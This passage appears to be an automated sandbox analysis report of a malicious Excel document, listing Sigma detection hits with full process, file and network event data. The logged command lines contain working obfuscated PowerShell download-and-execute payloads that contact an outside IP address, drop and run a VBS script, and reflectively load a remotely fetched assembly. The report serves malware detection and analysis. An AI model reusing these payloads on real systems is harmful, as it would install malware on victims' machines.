Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYU5FRGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDdhMTQ0NGY0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xNTEvNjUvc2VldGhlYmVzdGh0aW5nc3dpdGhtZXdoaWNoZ2l2ZWdyZWF0b3V0cHV0b2ZtZWdvb2QudElGIiwiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMiLDAsMCk7U1RBcnQtc0xlRXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMi'+[cHar]0X22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3836, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE, ProcessId: 3952, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebesthtingswithmewhichgivegreatoutputofm.vBs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebesthtingswithmewhichgivegreatoutputofm.vBs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYU5FRGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDdhMTQ0NGY0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xNTEvNjUvc2VldGhlYmVzdGh0aW5nc3dpdGhtZXdoaWNoZ2l2ZWdyZWF0b3V0cHV0b2ZtZWdvb2QudElGIiwiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMiLDAsMCk7U1RBcnQtc0xlRXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMi'+[cHar]0X22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3836, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebesthtingswithmewhichgivegreatoutputofm.vBs" , ProcessId: 3144, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRTaEVMTElkWzFdKyRzaGVsTElkWzEzXSsneCcpICgoJ1M3RmltYWdlJysnVXJsID0gYkJIaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgYkJIO1M3RndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbicrJ3Q7UzdGaW1hZ2VCeXRlcyA9IFM3RndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoUzdGaW1hJysnZ2VVcmwpO1M3RmltYWdlVGV4dCA9JysnIFtTeXN0ZW0uVGUnKyd4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nJysnKFM3RmltYWdlQnl0ZXMpO1M3RnN0YXJ0RmxhZyA9IGJCSDw8JysnQkFTRTY0XycrJ1NUQVJUPj5iQkg7UzdGZW5kRmxhZyA9IGInKydCSDw8QkFTRTY0X0VORD4+YkJIO1M3RnN0YXJ0SW5kZXggPSBTN0ZpbWFnZVRleHQuSW5kZXhPZihTN0ZzdGFydEZsYWcpO1M3RmVuZEluZGV4JysnID0gUzdGaW1hZ2VUZXh0LkluZGV4T2YoUzdGZW5kRmxhJysnZyk7UzdGc3RhcnRJbmRleCAtZ2UgJysnMCAtYW5kIFM3RmVuZEluZGV4IC1ndCBTN0ZzdCcrJ2FydEluZGV4O1M3RnN0YXJ0SW5kZXggKz0gUzdGJysnc3RhcnRGbGFnLkxlbmcnKyd0aDtTN0ZiYScrJ3NlNjRMZW5ndGggPSBTN0ZlbmRJbmRleCAtIFM3RnN0YXInKyd0SW5kZXg7UzdGYmFzZTY0Q29tbWFuZCA9IFM3RmltYWdlVGV4dC5TdWJzdHJpbmcoUzdGc3RhcnRJbmRleCwgUzdGYmFzZTY0TCcrJ2VuZ3RoKTsnKydTN0ZiYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luICcrJyhTN0ZiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgQkRGIEZvckVhY2gtT2JqZWN0IHsgUzdGXyB9KVsnKyctJysnMS4nKycuLShTN0ZiYXNlNjRDb21tYW5kLkxlbmd0aCldO1M3RmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoUzdGYicrJ2FzZTY0UmV2ZXJzZWQpO1M3RmxvYWRlZEFzJysnc2VtJysnYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChTN0Zjb21tYScrJ25kJysnQnl0JysnZXMpO1M3RnZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXScrJy5HZXRNZXRob2QoYkJIVkFJJysnYkJIKTtTN0Z2YWlNZXRob2QuSW52b2tlKFM3Rm51JysnbGwsIEAoYkJIdHh0LktMTExQTVMvNTYvMTUxLjg3MS42NC44OTEvLzpwdHRoYkJILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhkZXNhdGl2YWRvYkInKydILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhhc3BuZXRfcmVnYnJvd3NlcnNiQkgsIGJCSGRlc2F0aXZhZG9iQkgsIGJCSGRlc2F0aXZhZG9iQkgsYkJIZGVzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvJysnYkJILGJCSGRlc2F0aXZhZG8nKydiQkgsYkJIZGUnKydzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvYkJILGJCSDFiQkgsYkJIZGVzYXRpdmFkb2JCSCkpOycpLlJlUGxhY0UoJ0JERicsJ3wnKS5SZVBsYWNFKCdiQkgnLFtzdFJpbmddW2NoYXJdMzkpLlJlUGxhY0UoJ1M3RicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRTaEVMTElkWzFdKyRzaGVsTElkWzEzXSsneCcpICgoJ1M3RmltYWdlJysnVXJsID0gYkJIaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgYkJIO1M3RndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbicrJ3Q7UzdGaW1hZ2VCeXRlcyA9IFM3RndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoUzdGaW1hJysnZ2VVcmwpO1M3RmltYWdlVGV4dCA9JysnIFtTeXN0ZW0uVGUnKyd4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nJysnKFM3RmltYWdlQnl0ZXMpO1M3RnN0YXJ0RmxhZyA9IGJCSDw8JysnQkFTRTY0XycrJ1NUQVJUPj5iQkg7UzdGZW5kRmxhZyA9IGInKydCSDw8QkFTRTY0X0VORD4+YkJIO1M3RnN0YXJ0SW5kZXggPSBTN0ZpbWFnZVRleHQuSW5kZXhPZihTN0ZzdGFydEZsYWcpO1M3RmVuZEluZGV4

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Source: Process started

Author: Florian Roth (Nextron Systems), X__Junior (Nextron Systems): Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYU5FRGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDdhMTQ0NGY0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xNTEvNjUvc2VldGhlYmVzdGh0aW5nc3dpdGhtZXdoaWNoZ2l2ZWdyZWF0b3V0cHV0b2ZtZWdvb2QudElGIiwiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMiLDAsMCk7U1RBcnQtc0xlRXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMi'+[cHar]0X22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3836, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.cmdline", ProcessId: 4048, ProcessName: csc.exe

Sigma detected: Excel Network Connections

Source: Network Connection

Author: Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0", Tim Shelton: Data: DestinationIp: 104.21.74.191, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 3456, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49161

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3836, TargetFilename: C:\Users\user\AppData\Roaming\seethebesthtingswithmewhichgivegreatoutputofm.vBs

Sigma detected: Suspicious Office Outbound Connections

Source: Network Connection

Author: X__Junior (Nextron Systems): Data: DestinationIp: 192.168.2.22, DestinationIsIpv6: false, DestinationPort: 49161, EventID: 3, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, Initiated: true, ProcessId: 3456, Protocol: tcp, SourceIp: 104.21.74.191, SourceIsIpv6: false, SourcePort: 443

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebesthtingswithmewhichgivegreatoutputofm.vBs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebesthtingswithmewhichgivegreatoutputofm.vBs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYU5FRGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDdhMTQ0NGY0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xNTEvNjUvc2VldGhlYmVzdGh0aW5nc3dpdGhtZXdoaWNoZ2l2ZWdyZWF0b3V0cHV0b2ZtZWdvb2QudElGIiwiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMiLDAsMCk7U1RBcnQtc0xlRXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMi'+[cHar]0X22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3836, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebesthtingswithmewhichgivegreatoutputofm.vBs" , ProcessId: 3144, ProcessName: wscript.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3836, TargetFilename: C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.cmdline

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 3456, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYU5FRGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDdhMTQ0NGY0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xNTEvNjUvc2VldGhlYmVzdGh0aW5nc3dpdGhtZXdoaWNoZ2l2ZWdyZWF0b3V0cHV0b2ZtZWdvb2QudElGIiwiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMiLDAsMCk7U1RBcnQtc0xlRXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMi'+[cHar]0X22+'))')))", CommandLine: "C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgI

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3836, TargetFilename: C:\Users\user\AppData\Local\Temp\xehflqh5.h1t.ps1

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; 